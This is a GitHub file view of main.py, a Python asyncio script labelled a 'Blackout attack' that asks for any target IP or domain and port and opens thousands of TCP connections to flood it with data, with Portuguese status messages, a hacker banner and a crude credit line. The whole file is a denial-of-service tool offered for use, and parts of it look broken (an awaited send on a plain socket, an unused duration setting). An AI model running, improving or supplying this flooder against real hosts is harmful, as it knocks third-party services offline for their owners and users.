-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
86 lines (66 loc) · 2.75 KB
/
main.py
File metadata and controls
86 lines (66 loc) · 2.75 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import socket
import hashlib
import asyncio
import validators
import colorama
colorama.init(autoreset=True)
async def blackout(ip, port, size, connections, attack_duration):
data = hashlib.sha512(str(size).encode()).hexdigest()
addr = (ip, port)
errors = 0
async def send_packet(sock):
try:
await sock.send(data.encode())
await sock.send('\r\n\r\n'.encode())
print(colorama.Fore.GREEN + f"🚀 Mandando chumbo em {ip}:{port}")
except socket.error as e:
nonlocal errors
errors += 1
print(colorama.Fore.RED + f"⛔ Erro, vê se tá tudo certo {ip}:{port}: {e}")
async def connect():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2.0)
await asyncio.get_event_loop().sock_connect(sock, addr)
return sock
async def attack():
sock = await connect()
try:
await send_packet(sock)
finally:
sock.close()
tasks = [attack() for _ in range(connections)]
await asyncio.gather(*tasks)
print(colorama.Fore.CYAN + "[*] Blackout attack finished")
print(colorama.Fore.YELLOW + f"[-] {errors} Errors")
def get_ip_or_domain(ip_or_domain):
if validators.ipv4(ip_or_domain) or validators.ipv6(ip_or_domain):
return ip_or_domain
try:
ip = socket.gethostbyname(ip_or_domain)
return ip
except socket.gaierror:
raise ValueError(f"Invalid IP address or domain: {ip_or_domain}")
async def main():
print(colorama.Fore.MAGENTA + '''
8P d8P 888'Y88 888 88e
P d8P 888 ,'Y 888 888b
d8P d 888C8 888 8888D
d8P d8 888 ",d 888 888P
d8P d88 888,d88 888 88
"''')
example_url = "Exemplo: www.example.com ou 93.184.216.34"
ip_or_domain = input(colorama.Fore.CYAN + f"Enter the target IP address or domain ({example_url}): ")
ip = get_ip_or_domain(ip_or_domain)
port = input(colorama.Fore.CYAN + "Enter the target port (default: 80): ")
port = int(port) if port else 80
size = input(colorama.Fore.CYAN + "Enter the packet size (default: 1024): ")
size = int(size) if size else 1024
connections = input(colorama.Fore.CYAN + "Enter the number of connections (default: 1000): ")
connections = int(connections) if connections else 1000
attack_duration = input(colorama.Fore.CYAN + "Enter the attack duration in seconds (default: 60): ")
attack_duration = int(attack_duration) if attack_duration else 60
await asyncio.gather(*[blackout(ip, port, size, connections, attack_duration) for _ in range(10)])
print(colorama.Fore.YELLOW + "Créditos para o Zed Hacking, kiba não puta")
if __name__ == "__main__":
loop = asyncio.get_event_loop()
loop.run_until_complete(main())